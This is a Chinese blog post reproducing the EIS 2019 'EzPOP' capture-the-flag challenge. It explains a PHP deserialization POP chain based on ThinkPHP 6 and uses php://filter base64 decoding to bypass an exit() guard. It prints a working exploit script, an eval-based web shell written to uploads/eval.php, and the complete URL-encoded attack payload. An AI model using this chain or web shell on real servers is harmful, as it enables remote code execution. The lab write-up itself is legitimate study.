Hed9eh0g

前进的路上总是孤独的

[EIS 2019] EzPOP题目复现

本文共计有5738个字

涉及知识点

  • pop链构造(来自thinkphp 6)
  • php://filter
  • base64编码规则

思路

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

反序列化GET传来的data字符串,所以找魔法函数,在A类中有:

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }

执行本类的save方法:

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

先执行本类的getForStorage方法,赋值给contents,然后store参数调用set方法,而set方法是B类的,因此要让store为一个B类的对象。

追加到set方法:

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

经过对一些变量的处理之后,最终执行file_put_contents写入文件,因此考虑给data写入shell。

然而正常的代码并不行,因为我们的shell前面有exit()退出程序的操作,因此考虑先base64编码后传入shell,再使用filter://协议对总的data进行base64解码,这样shell前面的字符就会因为乱码而失效,即可执行我们的shell。

接下来回溯看$filename和$data是怎么来的:

  • $filename:先调用getCacheKey($name),改方法是执行连接字符串的作用:$this->option['prefix'].$name构成filename。
  • $data:来自于 $this->serialize($value),所以再关注$value是怎么来的。$value是A::getForStorage()的返回值:json_encode([A::cleanContents(A::cache), A::complete]);
    A::cleanContents(A::cache)实现了一个过滤的功能,A::complete更容易控制,直接写为shellcode

其中cleanContents():

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

了解完array_flip()array_intersect_key()的作用之后,可以直接让$cache是空数组,这样不影响到后面$complete我们写入的shell。

尝试本地运行:

<?php
function cleanContents(array $contents) {
    $cachedProperties = array_flip([
        'path', 'dirname', 'basename', 'extension', 'filename',
        'size', 'mimetype', 'visibility', 'timestamp', 'type',
    ]);

    foreach ($contents as $path => $object) {
        if (is_array($object)) {
            $contents[$path] = array_intersect_key($object, $cachedProperties);
        }
    }

    return $contents;
}
$cache=array();
$complete='<?php @eval($_POST["a"]);?>';
echo json_encode([cleanContents($cache), $complete]);

得到:

[[],"<?php @eval($_POST[\"a\"]);?>"]

可以看到直接complete写入shell会使shell中双引号被转义了,所以得考虑用base64编码绕过转义,再在之后解码。由于之后可以让$this->options['serialize']=base64.decode,这样和filter://就共有两处解码处理,所以对应这里考虑编码两次。

最终代码:

<?php

class A {
    protected $store;
    protected $key;
    protected $expire;

    public function __construct($store,$key,$expire)
    {
        $this->key=$key;
        $this->expire=$expire;
        $this->store=$store;
    }
}

class B{
    public $option;
}

$b=new B();
$b->options['serialize']='base64_decode';
$b->options['data_compress']=false;
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/';

$a=new A($b,'eval.php',0);
$a->autosave=false;
$a->cache=array();
$a->complete=base64_encode('abc'.base64_encode('<?php @eval($_POST["a"]); ?>'));
//必须添加三个字符使得shell之前的字符串进行base64解码时不影响到shell

echo urlencode(serialize($a));

这里还要了解base64解码特点,base64解码的合法字符只包括[a-zA-Z1-9]+/这64个字符。

  • 编码时:把明文每8位按6位查表转码,不足的位数用=补0
  • 解码时:忽略[",:等64个字符之外的字符,然后逆运算就行

所以要求编码为4的倍数,由于shell前面的字符串中存在的base64编码有效字符只有php//000000000000exit21个字符,因此应该在shell前补上3个有效字符。

get传值:

?data=O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A6%3A%22option%22%3BN%3Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A58%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Duploads%2F%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A8%3A%22eval.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A60%3A%22YWJjUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKaElsMHBPeUEvUGc9PQ%3D%3D%22%3B%7D

执行uploads目录下的eval.php:

《[EIS 2019] EzPOP题目复现》

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注